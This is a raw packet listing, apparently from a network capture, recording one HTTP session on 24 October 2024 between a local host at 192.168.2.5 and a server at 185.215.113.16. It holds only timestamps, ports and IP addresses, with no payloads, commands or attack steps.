Oct 24, 2024 08:38:10.543287039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543302059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543309927 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543329954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543333054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543344021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543358088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543380976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543382883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543394089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543405056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543418884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543421984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543438911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543445110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543452024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543467045 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543493032 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543541908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543554068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543567896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543580055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543601990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543608904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543613911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543627024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543638945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.543648005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.543674946 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.608848095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608867884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608880043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608891010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608896971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608901978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608907938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608913898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608916998 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.608920097 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608932972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.608942032 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.608951092 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.608994007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.649266958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.649285078 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.649297953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.649334908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.649369955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660386086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660440922 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660455942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660500050 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660512924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660525084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660531044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660538912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660542965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660552979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660554886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660567045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660573959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660588026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660599947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660608053 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660643101 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660665035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660701990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660733938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660744905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660768986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660784960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660804033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660815001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660825968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660839081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660851955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660861969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.660897017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660908937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.660947084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.661001921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.661010027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.661055088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.661266088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725301027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725362062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725369930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725380898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725409031 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725424051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725557089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725569010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725580931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725601912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725620985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725621939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725634098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725646019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725656986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725657940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725670099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.725682020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.725704908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.766020060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.766082048 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.766127110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.766139030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.766158104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.766166925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.766175985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.766197920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.766211987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777447939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777458906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777470112 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777509928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777522087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777533054 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777543068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777542114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777606964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777646065 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777654886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777698994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777779102 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777822018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777834892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777847052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777859926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777872086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777896881 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777928114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777937889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777947903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777957916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.777967930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.777983904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.821191072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.821203947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.821269035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.843206882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843220949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843233109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843306065 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.843343973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843358994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843369961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843383074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843388081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.843394995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843405962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843416929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843426943 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.843430042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.843460083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.843482971 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.885977030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.886032104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.886085987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.886096001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.886128902 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.886154890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.895431042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895494938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.895580053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895591974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895601988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895612955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895620108 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.895623922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895634890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895642996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.895646095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895678997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.895728111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895739079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895745039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895751953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895798922 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.895889044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895900011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895910025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.895941019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.895956993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.896035910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.896049023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.896080017 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.896109104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.959501982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959512949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959532022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959542036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959553003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959563971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959573984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959624052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959630013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.959650040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959659100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959681988 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.959697008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.959747076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959757090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959765911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959774971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.959790945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.959805012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.959831953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.959978104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.960010052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:10.960019112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:10.960046053 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.001339912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.001405954 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.001519918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.001530886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.001540899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.001576900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.001594067 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012412071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012423038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012434959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012494087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012494087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012562990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012573957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012583971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012607098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012607098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012630939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012729883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012738943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012749910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012762070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012783051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012799025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012801886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012810946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012851000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.012976885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.012988091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013000011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013011932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013019085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.013046026 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.013139009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013151884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013179064 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.013204098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.013730049 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013741970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013753891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.013780117 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.013801098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.076955080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.076967955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.076982975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077037096 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077075005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077096939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077133894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077270031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077280998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077291965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077310085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077322960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077404022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077414036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077426910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077438116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077439070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077461958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077477932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077538967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077549934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.077575922 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.077591896 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.118505001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.118527889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.118601084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.118616104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.118674994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.118674994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.129489899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.129663944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.129678965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.129750967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.129750967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.129801035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.129820108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.129870892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.129872084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.129966021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.129978895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.129992008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130002975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130017042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130028009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130028963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130029917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130039930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130050898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130063057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130084991 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130084991 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130109072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130116940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130120993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130132914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130142927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130153894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130170107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130171061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130171061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130183935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130193949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130194902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130207062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130223036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130235910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130244017 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130244017 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130248070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130259991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.130285978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.130307913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193593025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193650007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193690062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193744898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193753958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193782091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193792105 CEST	80	60982	185.215.113.16	192.168.2.5
